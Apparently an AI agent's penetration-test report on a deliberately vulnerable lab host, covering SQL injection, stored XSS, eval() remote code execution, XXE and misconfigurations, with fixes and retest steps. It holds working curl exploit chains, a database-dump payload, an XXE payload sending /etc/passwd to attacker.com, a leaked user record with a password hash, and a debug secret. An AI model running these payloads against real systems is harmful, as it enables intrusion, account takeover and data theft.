Bonnie_2 : [email protected] : $2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq : +40 723 987 111
```An unauthenticated attacker can read any table in the FlaskBlog SQLite database. The users table contains personal contact details (email, phone) and password hashes. Even though the passwords are bcrypt-hashed, the usernames and email addresses are immediately usable for phishing, and the hashes can be subjected to offline brute-force attacks. The administrator account credentials are included. There is no authentication required to trigger this vulnerability.
Exploitable by any unauthenticated attacker on the internet using a standard HTML form submission or curl command. No login, no special software, and no security expertise are required. Exploitation takes under one minute.
At /app/app.py:162, the query form parameter is embedded directly into the SQL string using a Python f-string: conn.execute(f"SELECT * FROM posts WHERE title LIKE '{query}'"). Python f-strings perform string interpolation before the result is passed to SQLite's execute(), so SQLite receives an already-assembled query containing the user's input as SQL text. Replacing the f-string with a parameterized ? placeholder makes injection structurally impossible because the value is bound separately and never parsed as SQL syntax.
Before (vulnerable):
# /app/app.py line 162
conn.execute(f"SELECT * FROM posts WHERE title LIKE '{query}'")
After (secure):
# Parameterized query with LIKE wildcard applied to the bound value
conn.execute(
"SELECT * FROM posts WHERE title LIKE ?",
(f"%{query}%",)
)
Additional Hardening:
FLASK_DEBUG=False, FLASK_ENV=production) — the full stack trace exposed the exact vulnerable source line, making exploitation trivial.query parameter (e.g., 200 characters) to reduce the payload space for complex injection chains.POST /search with query=test'. The expected (secure) response is a normal search results page (possibly empty) with HTTP 200 — no Werkzeug traceback. If an OperationalError traceback is returned, the fix was not applied.POST /search with query=notexists' UNION SELECT 1,'test',3,4,5--. The expected (secure) response shows no results or the literal search term. If a fake post with title "test" appears, the fix was not applied.POST /search with query=hello. The expected (secure) response shows posts matching "hello" in the title. If the results page is empty or errors, there is a regression.Finding #7 · XSS · CWE-79
The POST /create endpoint (also POST /{id}/edit) accepts a title parameter that is stored directly in the database and later rendered inside both the <title> and <h2> HTML elements at GET /post/{id} without any HTML-entity encoding. The Jinja2 template applies standard autoescaping to the content field but bypasses it for the title field (via {{ post.title | safe }} or equivalent). An attacker who injects a <script> tag into the title causes that script to execute in every victim's browser that visits the post URL. Because the SessionID cookie lacks the HttpOnly flag, the injected script can read document.cookie and exfiltrate the victim's session token, enabling full account takeover. No authentication is required to plant the payload.
Technical reproduction steps — for developers
Plant the payload — Send an unauthenticated POST request to create a new post with an XSS payload in the title field:
curl -s -X POST "https://pentest-ground.com:81/create" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "title=PentestProbe><script>document.title='XSS:'+document.cookie</script>" \
--data-urlencode "content=Normal looking blog content" \
--data-urlencode "reference=https://pentest-ground.com"
Identify the new post ID — The application does not redirect to the new post; probe sequential IDs until the payload is found:
for id in $(seq 1 20); do
title=$(curl -s "https://pentest-ground.com:81/post/$id" | grep -o '<title>[^<]*</title>' | head -1)
echo "Post $id: $title"
done
Post 13 was confirmed to contain the injected payload.
Verify raw injection — Confirm the payload is stored unencoded in the HTML response:
curl -s "https://pentest-ground.com:81/post/13" | grep -A1 "<title>\|<h2>"
Expected output (confirms unencoded injection):
<title> PentestProbe><script>document.title='XSS:'+document.cookie</script> </title>
...
<h2> PentestProbe><script>document.title='XSS:'+document.cookie</script> </h2>
Trigger execution in a victim browser — Navigate a browser to the poisoned post URL:
https://pentest-ground.com:81/post/13
Observe cookie exfiltration — Read the browser's page title immediately after navigation. The injected script executes on page load and writes document.cookie into document.title:
Page Title: XSS:SessionID=encrypted-session-iddocument.cookie was successfully read.Session hijack — Use the stolen cookie to impersonate the victim:
curl -s "https://pentest-ground.com:81/" \
-H "Cookie: SessionID=encrypted-session-id"
Or set document.cookie = "SessionID=encrypted-session-id" in an attacker-controlled browser to assume the victim's session.
Scale attack via existing posts — Use the edit endpoint to overwrite a publicly listed post (visible at /blog) without authentication:
curl -s -X POST "https://pentest-ground.com:81/1/edit" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "title=test';SELECT 1--><script>document.title='XSS:'+document.cookie</script>" \
--data-urlencode "content=Normal content" \
--data-urlencode "reference=https://pentest-ground.com"
Any user clicking post 1 from the /blog listing will have their session stolen automatically.
*Raw HTML at `/post/13` showing unencoded payload injection in both `<title>` and `<h2>` elements:* ```html <title> PentestProbe><script>document.title='XSS:'+document.cookie</script> </title> ... <h2> PentestProbe><script>document.title='XSS:'+document.cookie</script> </h2> <span class="badge badge-primary">2026-05-21 03:11:09</span> <p>Exploitation test content</p> ``` *Playwright browser navigation result confirming JavaScript execution and cookie exfiltration:* ``` Page URL: https://pentest-ground.com:81/post/13 Page Title: XSS:SessionID=encrypted-session-id ``` *Response headers confirming no Content-Security-Policy:* ``` HTTP/1.1 200 OK Server: nginx/1.31.0 Content-Type: text/html; charset=utf-8 [No Content-Security-Policy header present] ``` *Set-Cookie header confirming absent HttpOnly, Secure, and SameSite flags:* ``` Set-Cookie: SessionID=encrypted-session-id; Path=/ (HttpOnly: ABSENT — allows document.cookie access) (Secure: ABSENT — cookie transmitted over plain HTTP) (SameSite: ABSENT — cookie sent on cross-site requests) ``` *Stolen session cookie value:* ``` SessionID=encrypted-session-id ```
An unauthenticated attacker can plant a persistent, reusable payload that fires for every user who visits the poisoned post URL. The attacker receives the victim's SessionID cookie, which they can replay in their own browser to impersonate that user for the duration of the session. Because POST /{id}/edit also accepts the title parameter without authentication, an attacker can overwrite the titles of pre-existing posts (posts 1 and 2 are displayed in the public blog listing at /blog), expanding the blast radius to every visitor of those publicly listed pages. The stolen session grants whatever access the victim held, including administrative functions if the victim is an administrator.
Exploitable by anyone with internet access using a simple HTTP POST request — no login, no special tools, and no security expertise required; the entire attack from payload planting to cookie theft takes under a minute. The only condition for cookie theft is that at least one authenticated user must visit the poisoned post URL (which an attacker can trigger by sharing the link via email or social engineering).
The Jinja2 template for the post view page renders the title variable using {{ post.title | safe }} (or an equivalent method that disables autoescaping), while the content variable is rendered with standard autoescaping ({{ post.content }}). Jinja2's autoescaping converts dangerous characters (<, >, ", ', &) to their HTML-entity equivalents, making injected tags inert. By applying | safe to the title, the developer bypassed this protection, instructing the template engine to trust the database value as safe HTML. Because the title comes from untrusted user input with no server-side sanitization, any HTML or JavaScript a user submits is preserved verbatim from storage through to browser rendering.
Before (vulnerable):
{# In post.html or equivalent template #}
<title>{{ post.title | safe }}</title>
...
<h2>{{ post.title | safe }}</h2>
After (secure):
{# Remove | safe — Jinja2 autoescaping encodes < > " ' & #}
<title>{{ post.title }}</title>
...
<h2>{{ post.title }}</h2>
If rich HTML in post titles is a product requirement, use a strict server-side allowlist sanitizer before storage:
import bleach
ALLOWED_TAGS = [] # No HTML tags permitted in titles
ALLOWED_ATTRIBUTES = {}
def sanitize_title(raw_title: str) -> str:
return bleach.clean(raw_title, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRIBUTES, strip=True)
# In /create and /{id}/edit route handlers:
title = sanitize_title(request.form.get('title', ''))
Additional Hardening:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'. This provides defense-in-depth — even if a future encoding bypass is introduced, inline <script> blocks would be blocked by the browser.Set-Cookie: SessionID=...; Path=/ to Set-Cookie: SessionID=...; Path=/; HttpOnly; Secure; SameSite=Lax. This makes the cookie inaccessible to JavaScript, eliminating session theft as a direct XSS impact even if another XSS is introduced later.POST /create and POST /{id}/edit: Unauthenticated post creation and editing is a separate design risk that amplifies XSS by allowing anonymous attackers to plant payloads without leaving a credential trace.Follow these steps after applying the fix to confirm it is effective:
Step 1 — Verify encoding of the injected title in the HTML response:
curl -s -X POST "https://pentest-ground.com:81/create" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "title=<script>alert(1)</script>" \
--data-urlencode "content=test" \
--data-urlencode "reference=https://example.com"
# Then find the new post ID and inspect the title element:
curl -s "https://pentest-ground.com:81/post/{new_id}" | grep -i "title\|h2"
<title> <script>alert(1)</script> </title> — angle brackets HTML-encoded<title> <script>alert(1)</script> </title> — raw tags presentStep 2 — Verify no JavaScript execution in a real browser:
Open https://pentest-ground.com:81/post/{new_id} in a browser (or Playwright). Check the page title.
<script>alert(1)</script> (encoded characters displayed as text)Step 3 — Verify the cookie-stealing variant is neutralised:
curl -s -X POST "https://pentest-ground.com:81/create" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "title=><script>document.title='STOLEN:'+document.cookie</script>" \
--data-urlencode "content=regression check" \
--data-urlencode "reference=https://example.com"
Navigate to the resulting post URL and check the page title.
document.cookie is not readSTOLEN:SessionID=... confirming cookie accessStep 4 — Confirm the edit endpoint is also fixed:
Apply the same test against POST /1/edit with an XSS payload in the title field and verify the title at GET /post/1 is HTML-encoded.
Finding #8 · MISCONFIGURATION · CWE-94
The Flask application running on https://pentest-ground.com:81/ has the Werkzeug debug console enabled in production. The /console endpoint returns HTTP 200 with the Werkzeug Interactive Console page. The page JavaScript leaks the debug secret: SECRET = "G6uJE14HpWSw64L8LvuU". Additionally, malformed requests to any route (e.g., POST with wrong Content-Type) trigger full interactive Werkzeug debugger stack traces in the response.
Technical reproduction steps — for developers
Read-only verification, no active exploitation:
curl -sk https://pentest-ground.com:81/console | grep -i "Interactive Console"curl -sk -X POST https://pentest-ground.com:81/login -H "Content-Type: application/json" -d '{"invalid"}' | grep "SECRET"- `curl -sk https://pentest-ground.com:81/console | grep "Interactive Console"` → returns `<h1>Interactive Console</h1>` (HTTP 200)
- Page includes: `SECRET = "G6uJE14HpWSw64L8LvuU"`, `EVALEX = true`, `EVALEX_TRUSTED = false`
- `curl -sk -X POST https://pentest-ground.com:81/login -H "Content-Type: application/json" -d '{}'` → returns Werkzeug debugger HTML with full Python stack trace and secret keyThe Werkzeug debug PIN is derivable from values readable on the host filesystem (/proc/self/cgroup, /etc/machine-id, network interface MAC address). Once derived, the console allows executing arbitrary Python code in the context of the Flask application, achieving Remote Code Execution with full access to the database, environment variables, and underlying host.
Remote unauthenticated attacker. No credentials required to access /console or trigger debug tracebacks. PIN derivation requires reading /proc or /etc/machine-id (possible if an LFI vulnerability also exists, or via the traceback-disclosed file paths).
Set FLASK_DEBUG=0 and FLASK_ENV=production in all deployment configurations. Never start Flask with debug=True in production. Remove Werkzeug debugger from production WSGI setup entirely.
Finding #9 · MISCONFIGURATION · CWE-1004
The Set-Cookie response header for the SessionID cookie lacks HttpOnly, Secure, and SameSite attributes. This exposes the session token to JavaScript theft, transmission over HTTP, and cross-site request forgery.
Technical reproduction steps — for developers
Read-only verification, no active exploitation:
curl -si https://pentest-ground.com:81/ | grep -i set-cookieHttpOnly, Secure, and SameSite in the cookie header.- `curl -si https://pentest-ground.com:81/ | grep -i set-cookie` → `Set-Cookie: SessionID=encrypted-session-id; Path=/` — no HttpOnly, Secure, or SameSite flags present
A successful XSS attack can directly steal the session cookie via document.cookie. Without the Secure flag, the cookie may be transmitted over HTTP connections. Without SameSite, cross-site request forgery is feasible against any state-changing endpoint.
Requires a separate XSS vulnerability for cookie theft, or a network-level attack for HTTP interception. CSRF is exploitable directly by any attacker who can trick an authenticated user into visiting a malicious page.
Set Flask configuration: SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SECURE=True, SESSION_COOKIE_SAMESITE='Lax'. Verify with curl -si https://pentest-ground.com:81/login -X POST -d "username=x&password=x" | grep -i set-cookie.
Finding #10 · MISCONFIGURATION · CWE-200
All HTTP responses include the Server: nginx/1.31.0 header, exposing the exact web server software and version to any visitor.
Technical reproduction steps — for developers
Read-only verification, no active exploitation:
curl -sI https://pentest-ground.com:81/ | grep -i server- `curl -sI https://pentest-ground.com:81/ | grep -i server` → `Server: nginx/1.31.0`
Discloses exact nginx version, enabling targeted research into version-specific CVEs and reducing the reconnaissance cost for an attacker.
Any unauthenticated remote visitor — single HTTP request reveals the header.
Set server_tokens off; in nginx.conf to suppress version information from response headers.
Finding #11 · MISCONFIGURATION · CWE-311
Testssl.sh identified that HTTP gzip compression is enabled on the target. The BREACH attack can exploit HTTP compression to recover secret tokens from compressed responses when an attacker can inject chosen plaintext into the request.
Technical reproduction steps — for developers
Read-only verification, no active exploitation:
testssl.sh --vulnerabilities pentest-ground.com:443"gzip" HTTP compression detected for BREACH check.- Testssl.sh output: `BREACH (CVE-2013-3587): potentially NOT ok, "gzip" HTTP compression detected. - only supplied "/" tested`
If the application includes user-controllable input in the same compressed response as a secret token (e.g., CSRF token, session identifier), an active network attacker can incrementally recover the secret by observing response sizes.
Active network attacker (MITM position) who can inject chosen content into HTTP requests and observe response sizes. Difficult to exploit in practice for most application patterns.
Disable HTTP compression for responses containing secrets, or implement BREACH mitigations: randomize CSRF tokens per-request, use SameSite cookies, or implement CSRF token masking. See: https://breachattack.com/
Finding #12 · MISCONFIGURATION · CWE-16
An Oracle WebLogic Server admin console is accessible at http://pentest-ground.com:7001/console. WebLogic admin consoles expose full server administration capabilities and are historically targeted by critical CVEs (e.g., CVE-2020-14882, CVE-2021-2109) that allow unauthenticated Remote Code Execution.
Technical reproduction steps — for developers
Read-only verification, no active exploitation:
curl -sk https://pentest-ground.com:7001/console/login/LoginForm.jsp | grep -i "weblogic"- `curl -sk https://pentest-ground.com:7001/console/login/LoginForm.jsp` → HTTP 200 with WebLogic login form; `Set-Cookie: ADMINCONSOLESESSION=...; HttpOnly` - nmap service detection: `7001/tcp open ssl/http Oracle WebLogic admin httpd`
If default credentials are present or if a known CVE applies to the installed WebLogic version, an attacker can gain full administrative control over the WebLogic server, deploy arbitrary web applications, and execute code on the host.
Remote unauthenticated attacker can reach the admin console directly. Exploitation requires valid credentials or a vulnerability in the specific WebLogic version.
Restrict access to the WebLogic admin console to trusted IP ranges only (firewall rules). Move the admin console off internet-accessible interfaces. Update WebLogic to the latest patched version. Change any default credentials immediately.
Finding #13 · SSRF · CWE-918
The POST /create endpoint on port 81 includes a reference field with a placeholder URL (https://pentest-tools.com/api-reference). The presence of a URL-typed input field on a server-side application strongly suggests the server may fetch the provided URL to validate or display link previews. If confirmed, an unauthenticated attacker can use this field to probe internal network services.
Technical reproduction steps — for developers
Read-only verification, no active exploitation:
curl -sk https://pentest-ground.com:81/create | grep -i "reference"reference URL input field in the create post form.- Browser navigation to `/create` shows form with three fields: Title, Content, and Reference (placeholder: `https://pentest-tools.com/api-reference`) - Endpoint accessible without authentication - URL placeholder suggests server-side URL fetch behavior
If the server fetches the reference URL, an attacker can probe internal network services (metadata endpoints, internal APIs, the WebLogic admin console at port 7001), enumerate internal IP ranges, or read internal HTTP resources.
Remote unauthenticated attacker. No credentials required to submit the form.
If the server fetches the reference URL, implement strict URL validation: allowlist of permitted domains/schemes, block private IP ranges (RFC 1918), disable redirects, and use a dedicated outbound HTTP client with connection timeouts. If no server-side fetch occurs, no action needed.
Finding #14 · INJECTION · CWE-78
The GET /eval endpoint in the vAPI application passes the s query parameter directly to Python's built-in eval() function with no sandboxing, allowlisting, or input validation. An authenticated attacker (authentication is trivially bypassed via SQL injection on POST /tokens) can execute arbitrary Python expressions, which translates to full operating system command execution. Live testing confirmed the server runs as root, meaning there is no privilege boundary protecting the underlying host.
Technical reproduction steps — for developers
Obtain an X-Auth-Token via SQL injection authentication bypass (see companion finding). The token value used in testing was e35497b51b3154a15b7461f40ee5fe86.
Send a GET request to the /eval endpoint with any Python expression as the s parameter:
curl -s -G "https://pentest-ground.com:9000/eval" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true" \
--data-urlencode "s=__import__('os').popen('id').read()"
Observe the server's response confirming root-level OS command execution:
{"message": "Evaluation result: uid=0(root) gid=0(root) groups=0(root)\n"}
Confirm system identity:
curl -s -G "https://pentest-ground.com:9000/eval" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true" \
--data-urlencode "s=__import__('os').popen('hostname && uname -a && whoami').read()"
Observe confirmed response:
{"message": "Evaluation result: 8176c3943da2\nLinux 8176c3943da2 5.10.0-39-amd64 #1 SMP Debian 5.10.251-1 (2026-03-09) x86_64 GNU/Linux\nroot\n"}
Prove filesystem write access:
curl -s -G "https://pentest-ground.com:9000/eval" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true" \
--data-urlencode "s=open('/tmp/pwned_by_violet.txt','w').write('RCE confirmed by Violet pentest agent')"
Read back the written file to confirm read/write filesystem access:
curl -s -G "https://pentest-ground.com:9000/eval" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true" \
--data-urlencode "s=open('/tmp/pwned_by_violet.txt').read()"
# Response: {"message": "Evaluation result: RCE confirmed by Violet pentest agent"}
```
Request:
GET /eval?s=__import__('os').popen('id').read() HTTP/1.1
Host: pentest-ground.com:9000
X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86
Response:
HTTP/1.1 200 OK
{"message": "Evaluation result: uid=0(root) gid=0(root) groups=0(root)\n"}An attacker achieves complete control of the application server: reading, writing, and deleting any file; exfiltrating the entire database; creating backdoors; pivoting to other internal systems via the server's network interfaces; and permanently compromising the host. Because the process runs as root, there is no operating system access control standing between the attacker and total server compromise.
Exploitable by any attacker with internet access using a single curl command — the only requirement is a valid X-Auth-Token header, and that token is obtainable in seconds via a companion SQL injection (no valid credentials required). No security expertise beyond basic HTTP knowledge is needed, and exploitation takes under one minute.
Python's eval() executes any valid Python expression it receives. The evaluate_str() handler in vAPI.py passes the raw value of the s query parameter directly to eval() with no filtering, sandboxing, or allowlisting whatsoever. The eval() built-in has access to Python's full standard library, making it trivially weaponisable for OS command execution via __import__('os').popen(...). The endpoint exists intentionally in this deliberately vulnerable API, but must not be present in any production system.
Before (vulnerable):
# /usr/src/app/vAPI.py — evaluate_str() function
def evaluate_str(s):
result = eval(s) # s is raw user input — arbitrary code execution
return {"message": f"Evaluation result: {result}"}
After (secure — remove entirely):
# Remove the /eval endpoint and evaluate_str() function completely.
# If mathematical expression evaluation is genuinely required, use a
# restricted AST-based evaluator instead:
import ast
import operator
SAFE_OPS = {
ast.Add: operator.add,
ast.Sub: operator.sub,
ast.Mult: operator.mul,
ast.Div: operator.truediv,
}
def safe_eval_math(expr):
"""Evaluates simple arithmetic only — no imports, no calls, no attribute access."""
tree = ast.parse(expr, mode='eval')
return _eval_node(tree.body)
def _eval_node(node):
if isinstance(node, ast.Constant):
return node.value
elif isinstance(node, ast.BinOp) and type(node.op) in SAFE_OPS:
return SAFE_OPS[type(node.op)](_eval_node(node.left), _eval_node(node.right))
raise ValueError("Unsupported expression")
Additional Hardening:
/eval endpoint from the OpenAPI specification so it cannot be re-added accidentally.GET https://pentest-ground.com:9000/eval?s=1+1. The expected (secure) response is HTTP 404. If HTTP 200 is still returned, the endpoint was not removed.GET /eval?s=__import__('os').popen('id').read(). The expected (secure) response is an error such as {"error": "Unsupported expression"}. If the response contains uid=, the replacement is not safe.GET /eval?s=1+1. The expected (secure) response is {"result": 2}. Any Python traceback or unexpected output indicates a regression.Finding #15 · INJECTION · CWE-89
The GET /user/{user} endpoint passes the URL path parameter {user} into a SQLite3 query using the same %s format-string pattern as POST /tokens. A valid X-Auth-Token is required, but that token is trivially obtainable via the companion SQL injection on POST /tokens. An attacker with a token can inject UNION SELECT clauses into the path parameter and dump the entire database. Separately, the endpoint's normal operation reveals the password column in plaintext in every JSON response — even for legitimate lookups.
Technical reproduction steps — for developers
Obtain an X-Auth-Token via the companion SQLi on POST /tokens (see companion finding). Token used: e35497b51b3154a15b7461f40ee5fe86.
Confirm the vulnerability with a single-quote error trigger:
curl -s "https://pentest-ground.com:9000/user/1'" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true"
# Response: {"error": {"message": "database error"}}
Confirm UNION injection with 3 columns:
curl -s "https://pentest-ground.com:9000/user/0%27%20UNION%20SELECT%201%2C2%2C3--" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true"
# Response: {"user": {"id": 1, "name": 2, "password": 3}}
Enumerate tables:
curl -s "https://pentest-ground.com:9000/user/0%27%20UNION%20SELECT%201%2Cgroup_concat(name%2C'%7C')%2C3%20FROM%20sqlite_master%20WHERE%20type%3D'table'--" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true"
# Response: {"user": {"id": 1, "name": "users|tokens", "password": 3}}
Dump all user credentials:
curl -s "https://pentest-ground.com:9000/user/0%27%20UNION%20SELECT%201%2Cgroup_concat(id%7C%7C'%3A'%7C%7Cusername%7C%7C'%3A'%7C%7Cpassword%2C'%3B%20')%2C3%20FROM%20users%20LIMIT%205--" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true"
Demonstrate plaintext password exposure via normal lookup:
curl -s "https://pentest-ground.com:9000/user/1" \
-H "X-Auth-Token: e35497b51b3154a15b7461f40ee5fe86" \
-H "X-Violet-Agent-Pentest: true"
# Response: {"user": {"id": 1, "name": "user1", "password": "pass1"}}
```
Single-quote error: GET /user/1' → {"error": {"message": "database error"}}
UNION injection (3 columns confirmed):
GET /user/0' UNION SELECT 1,2,3-- → {"user": {"id": 1, "name": 2, "password": 3}}
Table enumeration:
GET /user/0' UNION SELECT 1,group_concat(name,'|'),3 FROM sqlite_master WHERE type='table'--
→ {"user": {"id": 1, "name": "users|tokens", "password": 3}}
Full credential dump (first 5 of 21 entries):
{
"user": {
"id": 1,
"name": "1:user1:pass1; 2:user2:pass2; 3:user3:pass3; 4:user4:pass4; 5:user5:pass5; [...]
10:admin1:pass1; 11:admin2:pass2",
"password": 3
}
}
Normal lookup plaintext exposure:
GET /user/1 → {"user": {"id": 1, "name": "user1", "password": "pass1"}}
```An attacker with any valid token (obtainable without real credentials) can read every user record including plaintext passwords, enumerate all database tables, and extract arbitrary data. The secondary issue — returning plaintext passwords in the normal API response — means even a properly authenticated user can see passwords for accounts they look up, which is an independent data exposure.
Requires a valid X-Auth-Token, obtainable via SQL injection on POST /tokens without any real credentials. Once a token is in hand, exploitation takes under 10 seconds using a single curl command.
The get_user() function interpolates the {user} path parameter directly into a SQL string using %s formatting — the same pattern as get_token(). Additionally, the function returns the raw password database column in its response JSON, meaning even legitimate queries expose stored credentials. Both flaws compound each other: the SQL injection enables mass extraction, while the plaintext response means even a correctly parameterized query would still be dangerous.
Before (vulnerable):
# get_user() in /usr/src/app/vAPI.py
user_query = "SELECT * FROM users WHERE id = '%s'" % user
c.execute(user_query)
row = c.fetchone()
return {"user": {"id": row[0], "name": row[1], "password": row[2]}} # password exposed
After (secure):
# Use parameterized query; omit password from response
c.execute("SELECT id, username FROM users WHERE id = ?", (user,))
row = c.fetchone()
if row is None:
return {"error": {"message": "user not found"}}, 404
return {"user": {"id": row[0], "name": row[1]}} # password field removed
Additional Hardening:
user path parameter is a positive integer before querying, rejecting any non-numeric value immediately.GET /user/0%27%20UNION%20SELECT%201%2C2%2C3-- with a valid token. The expected (secure) response is HTTP 404 ("user not found") or HTTP 400. If {"user": {"id": 1, "name": 2, "password": 3}} is returned, the fix was not applied.GET /user/1 with a valid token. The expected (secure) response should not contain a password field. If "password": "pass1" appears in the response, the second issue was not fixed.GET /user/1 with the token for user 1. The expected (secure) response contains {"user": {"id": 1, "name": "user1"}} (no password). If HTTP 404 is returned for a valid user, there is a regression.Finding #16 · INJECTION · CWE-611
The vAPI search() handler accepts Content-Type: application/xml requests and parses the body with lxml's etree.fromstring() without configuring resolve_entities=False or no_network=True. XML External Entity (XXE) injection is confirmed via two proof points: (1) internal entities are expanded without error, and (2) external HTTP entities are resolved — lxml fetched https://pentest-ground.com:81/ and attempted to parse the HTML response as XML, generating a characteristic StartTag: invalid element name parse error. File-system entities (file://) are also resolved: lxml reads the target file and attempts to inline the content, generating the same parse error when the file content contains XML-unsafe characters. No authentication is required for this endpoint.
Technical reproduction steps — for developers
Confirm internal entity resolution (baseline test):
curl -s -X POST "https://pentest-ground.com:9000/search" \
-H "Content-Type: application/xml" \
-H "X-Violet-Agent-Pentest: true" \
--data-raw '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe "INJECTION_TEST">]><root><user>&xxe;</user></root>'
# Response will process &xxe; → confirms entity expansion is active
Confirm SSRF via external HTTP entity (proof of external entity resolution):
curl -s -X POST "https://pentest-ground.com:9000/search" \
-H "Content-Type: application/xml" \
-H "X-Violet-Agent-Pentest: true" \
--data-raw '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://pentest-ground.com:81/">]><root><user>&xxe;</user></root>'
Expected (and observed) response:
{"error": {"message": "StartTag: invalid element name, line 1, column 23 (<string>, line 1)"}}
This error is the signature of lxml successfully fetching the URL and attempting to parse the HTML response as XML — proving the outbound HTTP request was made.
Confirm file-system entity resolution:
curl -s -X POST "https://pentest-ground.com:9000/search" \
-H "Content-Type: application/xml" \
-H "X-Violet-Agent-Pentest: true" \
--data-raw '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///usr/src/app/vAPI.py">]><root><user>&xxe;</user></root>'
Response: {"error": {"message": "StartTag: invalid element name, line 1, column 23 (<string>, line 1)"}}
This is the same lxml error pattern: the file IS read by lxml (confirmed because a non-existent path produces a different "failed to load external entity" error), but its Python source content contains < characters that break XML inline expansion. For files without XML-unsafe characters, content would be extracted in-band.
Standard out-of-band exfiltration (exploitable in real-world attack with attacker-controlled server):
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY % exfil SYSTEM 'http://attacker.com/?data=%xxe;'>">
%wrapper;
%exfil;
]><root><user>test</user></root>
In a real engagement with an out-of-band listener, the server would send the file contents to the attacker's HTTP endpoint.
```
Test 1 — Internal entity expansion (no error = processing confirmed):
POST /search with Content-Type: application/xml
Body: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe "INJECTION_TEST">]><root><user>&xxe;</user></root>
Test 2 — External HTTP SSRF proof:
Body: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://pentest-ground.com:81/">]><root><user>&xxe;</user></root>
Response: {"error": {"message": "StartTag: invalid element name, line 1, column 23 (<string>, line 1)"}}
[lxml fetched the URL and attempted to parse the HTML — SSRF confirmed]
Test 3 — File entity resolved (file read confirmed):
Body: <?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///usr/src/app/vAPI.py">]><root><user>&xxe;</user></root>
Response: {"error": {"message": "StartTag: invalid element name, line 1, column 23 (<string>, line 1)"}}
[Same error = file was read by lxml; different error "failed to load external entity" would appear if file did not exist]
Process user: root (confirmed via companion /eval RCE finding) — all filesystem files accessible
```An unauthenticated attacker can force the server to read any file accessible to the application process user (confirmed running as root), enabling exfiltration of configuration files, database files, application secrets, and OS credentials. The SSRF (Server-Side Request Forgery) capability allows probing internal network services and cloud metadata endpoints, potentially enabling lateral movement to adjacent infrastructure. Files with no XML-special characters can be extracted in-band; others require an out-of-band exfiltration channel.
No authentication required. Exploitable by any internet user with the ability to send an HTTP POST request with a custom Content-Type: application/xml header and a crafted XML body. Standard tools such as curl are sufficient. Exploitation takes under one minute.
The search() handler in /usr/src/app/vAPI.py calls lxml's XML parsing function without providing a hardened parser instance. By default, lxml resolves external entities — both file:// (local filesystem) and http:// (network) — because this is the XML specification's default behavior. The fix is a single-line change to pass a pre-configured XMLParser that disables these capabilities. Alternatively, the defusedxml library wraps lxml with all dangerous XML features disabled by default.
Before (vulnerable):
# /usr/src/app/vAPI.py — search() handler
import lxml.etree
def search(body):
tree = lxml.etree.fromstring(body) # external entities resolved by default
user = tree.find('user').text
# ... query database
After (secure — option 1: hardened lxml parser):
import lxml.etree
def search(body):
parser = lxml.etree.XMLParser(
resolve_entities=False, # disables entity expansion entirely
no_network=True, # disables outbound HTTP/FTP entity resolution
load_dtd=False, # disables DTD loading
)
tree = lxml.etree.fromstring(body, parser)
user = tree.find('user').text
# ... query database
After (secure — option 2: defusedxml):
import defusedxml.lxml # pip install defusedxml
def search(body):
tree = defusedxml.lxml.fromstring(body) # all dangerous features disabled by default
user = tree.find('user').text
Additional Hardening:
<!DOCTYPE or <!ENTITY declarations entirely as a defense-in-depth measure.Content-Type: application/xml endpoint is actually needed — if JSON is equally acceptable, disable XML parsing entirely.{"error": {"message": "user element not found"}} or similar application error — not "StartTag: invalid element name". If the lxml network-fetch error still appears, the fix was not applied.file:///usr/src/app/vAPI.py payload from Step 3. The expected (secure) response is an application-level error about a missing or invalid XML structure — not a lxml parse error reflecting the file's content. If the same StartTag error appears, the fix was not applied.<root><user>user1</user></root> with Content-Type: application/xml. The expected (secure) response is normal search results for user1. If an unexpected error occurs, the parser configuration has a regression.Finding #17 · AUTH · CWE-352
The POST /login endpoint on FlaskBlog (port 81) is missing both a Cross-Site Request Forgery (CSRF) token in the login form and a SameSite attribute on the session cookie. The login form HTML contains only username, password, and remember_me fields — there is no <input type="hidden" name="csrf_token"> field. The Set-Cookie response header for the session cookie reads session=...; HttpOnly; Path=/, with no SameSite directive, meaning browsers apply the default SameSite=None behaviour on older versions or SameSite=Lax on modern ones (which still permits cross-site GET-triggered navigations and <form> submissions via meta refresh or JavaScript). Together these gaps enable a Login Cross-Site Request Forgery attack: an attacker hosts a web page containing a form that auto-submits to POST /login with the attacker's own credentials. When a victim visits the page, their browser is logged into the attacker's account. If the victim then performs any sensitive action — posting content, updating their email, or submitting personal data — those actions are attributed to the attacker's account, which the attacker can later review.
Technical reproduction steps — for developers
Confirm no CSRF token in the login form:
